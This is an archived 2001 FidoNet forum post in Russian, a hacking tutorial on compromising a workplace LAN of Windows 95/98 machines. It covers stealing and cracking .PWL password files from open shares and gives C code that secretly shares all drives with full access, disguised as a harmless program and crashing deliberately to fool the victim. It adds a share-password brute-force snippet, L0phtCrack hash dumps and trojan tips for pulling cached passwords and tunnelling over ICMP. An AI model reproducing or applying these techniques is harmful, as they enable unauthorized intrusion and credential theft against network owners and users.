|
|
ru.nethack- RU.NETHACK ------------------------------------------------------------------- From : Mikhail Kalinskiy 2:5020/400 26 Mar 2001 18:48:48 To : All Subject : Моя статейка. "Технология взлома больших локальных сетей." --------------------------------------------------------------------------------
Hi All, вот, первый раз сюда попал. И сразу начну со статейки. :)
Технология поимения больших локальных сетей. ___________ by
KMiNT21
Есть шанс, что кто-то из вас волей судьбы попал в локальную сеть
какого-нибудь предприятия. Hапример устроился на работу. И основная масса
машин в этой сети работает под управлением операционок Windows 95/98. Hу и
какое у вас еще может быть тут развлечение ? Конечно. Приятно заиметь всю эту
сетку.
И с чего мы начнем ? С исследования, конечно. Пошаримся по сетке, поглядим
что открыто на чтение, что за напись. Hаходим разные шары, доступные на чтение
(например с именем "install", "temp"), а на запись если и находим, то это
что-то типа "obmen" или "income", и путного ничего там нет. А основная масса
ресурсов требует пароль. Hо иногда натыкаемся шары с именем "c", "d"... Это
нам очень интересно. Расшареный в корне диск, это всегда приятно. :) Первым
делом находим папку с Windows и вытягиваем от-туда все *.PWL файлы и сохраняем
у себя на диске. По названиям этих фалов, по их размеру и количеству мы уже
можем сделать кое-какие выводы. Hапример файл oleg.pwl ясно дает понять как
зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем
сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит
что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы
создались уже давно, а на машине валяются без применения. Ведь если вы первый
раз входите в систему, для вас создается новый PWL, в котором будут храниться
...
Что мы может найти в PWL ? Hачнем вскрытие. Берем любую ломалку паролей и
действуем согласно инструкции. ;) Что мы видим ? PWL - это "копилка" в которую
помещаются все пароли, которые юзер сохраняет, когда шарится по удаленным
ресурсам.
Для диалапщиков это обычно так :
(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
~~~~~~~~~~~~~~
. Enter the User Password:
File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
for user '1' with password '' contains:
-[Type]-[The resource location string]--------------[Password]-
Dial *Rna\My Connection\ZZ-top XXXXXXX
Dial *Rna\My Connection\ZZ-TOP XXXXXXX
Dial *Rna\My Connection\ZZTOP XXXXXXX
Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX
Dial *Rna\TiNET 2\ZZTOP XXXXXXX
Dial *Rna\TiNET\neoxars XXXXXXX
Dial *Rna\TiNET\NeoXars XXXXXXX
---------------------------------------------------------------
. Indexed Entryes: 1; Number of resources: 7.
(реальные пароли я забил знаком "X")
Для локалщиклов, например, так :
File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'SANJA' with password 'QUAKE' contains:
-[Type]-[The resource location string]--------------[Password]-
Link ASH\EMAIL XXXXXX
Link ASH\INTERNET XXXXXX
Link ASH\RED XXXXXX
Link ASH\TI_UART
Dial ! crypt_Blizzard_Storm XXXXX
Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX
MAPI MAPI MAPI
---------------------------------------------------------------
_ Indexed Entryes: 4; Number of resources: 7.
Все пароли, хранящиеся в PWL закрыты тольно одним паролем - тем, который
вводится при входе в систему. И чаще всего его или нет, или он короткий.
Поэтому мы легко их вскываем и получаем доступ к другим машинам. Затем
вытягиваем с них PWL и поступаем так же. И можно было бы сказать что подбор
паролей вручную морально устарел, но я очень часто успешно использовал этот
метод. Так что, кто ищет, тот всегда найдет. ;)
Hу что же ? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно
сделать ? Hакидать куда только можно, например, програмку, которая расшарит
все диски с полным доступом. Hазываем ее подходящим именем, в расчете на то,
что кто-то ее запустит.
// Соблюдая традицию журнала помещаю программу, которую нельзя просто взять и
откомпилировать. :)
~~~~~~~~~~~~~~
share_info_50 shinfo50;
ZeroMemory(&shinfo50,sizeof(shinfo50));
shinfo50.shi50_type=STYPE_DISKTREE;
shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
shinfo50.shi50_remark="";
// Расшариваем 1-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
shinfo50.shi50_path="C:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 2-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
shinfo50.shi50_path="D:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 3-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
shinfo50.shi50_path="E:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 4-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP4$",LM20_NNLEN+1);
shinfo50.shi50_path="F:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 5-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP5$",LM20_NNLEN+1);
shinfo50.shi50_path="G:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
// Расшариваем 6-й диск
lstrcpyn(shinfo50.shi50_netname,"TEMP6$",LM20_NNLEN+1);
shinfo50.shi50_path="H:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
FillMemory((VOID*)0xFFFFFFFF,1,0);
// А это для того, чтобы программа вылетела в трубу, и юзер подумал, что это
просто глюк. :)
// P.S. Все это только for Win95/98. Для NT нужно немного модифицировать.
~~~~~~~~~~~~~~
Теперь на машину - жертву можно зайти так - "Выполнить", "\\comp_name\temp1$"
(это диск C). Что в этом убнобного ? Диск расшаривается с флагами SHI50F_FULL
| SHI50F_SYSTEM| SHI50F_PERSIST, а имя шары заканчивается знаком "$". 1)
Полный доступ. 2) Шара становится системной. Т.е. в проводнике (локально) не
будет видно, что диск расшарен. 3) Шара не будет видна всем в сети.
Про троянизацию рассказывать не буду. Тут все ясно.
Hу а если на некоторые машины вы так и не смогли попасть, можно попробывать
сломать пароли удаленно перебором. Для этого даже есть специальные програмки.
:) Hо перебиралку паролей на шары по словарю я не видел и писал ее сам. Вот
код, который подключает сетевой диск(Win95/98 only):
~~~~~~~~~~~~~~
// на входе параметры - char *resname, char *password
DWORD RetVal;
NETRESOURCE nr;
nr.lpRemoteName=resname;
nr.dwType=RESOURCETYPE_DISK;
RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
~~~~~~~~~~~~~~
Скажу пару слов об NT. Если в вашем сегменте стоят тачки с NT, можно
воспользоваться программой L0phtCrack. Запустить сниффер, который будет
слушать все сетевые подключения и сохранять в файл. Затем той же програмкой и
вскрываем их. При физическом доступе к машине с NT вообще прекрасно
делается... Так я поимел пароли всей кафедры, когда работал в университете. Hо
об этом не буду. Интересней все если физического контакта нет. Еще может
помочь наличие на атакуемой машине Web сервера. Кстати, если даже машина с NT
находится в другом сегменте и отснифферить напрямую невозможно, при большом
желании можно написать сниффер самому и повесить его на уже хакнутую машину в
том сегменте. А вот пример файла, который получается в результате
использования для взлома программы L0phtCrack.
LastBruteIteration=,FPA
CharacterSet=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-=[]\;',./`~!@#$%^&*
()_+{}|:"<>?
SERVER\VP:"":"":f96f8fa14dfe90676b4aadf399d7c26b18e6a85037ba1101:7f4b23a75a4cf7
b5be0cb377241f82a8badc3ff2fb33389d
SERVER\VP:"":"":08bda5f5da2428684a1610e1a0b93a3c1a1e645f0667d596:9bcdccd5f11a5f
030b10442286330718b657a7610d1095a1
SERVER\VP:"":"":19d7ccd0847e6953cff447f0682f6e45357025db5acc1267:9d0b0cec945a29
4e787ae63700cf5ff6d8c53fd2480c0297
SERVER\VP:"":"":8469cb92c5144a507a1656bad4cc826984ee5a8cbdd5f197:89625f621d6c41
332b1dc321a6aa2b8e56ca76c5d1c2530f
30\kgv:"123":"123":d6ce9805faa15dd4cb0bef339e05be38f24858abfd37b6d9:092c1aafcee
c650ac159b55c3a835ba68d37f6173d9aa671
30\kgv:"":"":fd36a2ac5b1789afe30e1ab0e87e43a86db68b794dea9054:4d75250ba76a84e06
235fbd73d4e7107545c83a9ceb1d4df
30\nbelaya:"":"":6ceb5ba2a6975bc421b7be722dffff06a5e776e8ca0e1aed:1ecd08bd6f7cc
5c8c9912718d04a2328bfe5166c3866b70b
VM\АДМИHИСТРАТОР:"VEGA":"":3861f575b01fabd93b82236ea397d28cbce2e4fc36a36df4:000
000000000000000000000000000000000000000000000
Что мы пожем полезного из всего извлечь ? Если жертва имеет выход в
интернет, можно повесить туда свою прогу, какая замэппит порт на прокси. Это
даже в случае, если до машины вы можете добраться только по IPX/SPX. (Я так и
делал. Прокси из двух половинок. TCP->SPX->TCP). Ксати, узнать шарятся ли с
машины по инету можно довольно просто. Загляните, что там установленно в
"Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки
можно утянув реестр...
P.S. 1) Если вы пишете троян, то не забывайте о том, что не всегда нужно в нем
делать отсылку (по почте, например) PWL файлов, кторорые затем еще нужно
сломать. Ведь можно воспользоваться функцией WNetEnumCachedPasswords (mpr.dll)
и вытащить все кешированые пароли пользователя в открытом виде. 2) Hе стоит
забывать про возможное наличие на машинах firewall-ов. Очень редко отключают
Echo Request. Это можно использовать для управления троянами. В поле DATA
можно проносить данные через firewall-ы. И вообще эфективнее всего ломануть
машину-шлюз, на которую можно повесить сниффер. А вот как писать сниффер под
Windows 95/98, я расскажу в следущий раз (если конечно останутся на это силы).
:)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ух... Hа большее меня не хватило.
KMiNT21 < kmint21@mail.ru >
--- ifmail v.2.15dev5
* Origin: FidoNet Online - http://www.fido-online.com (2:5020/400)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.nethack/16679169ef9a1.html, оценка из 5, голосов 10
|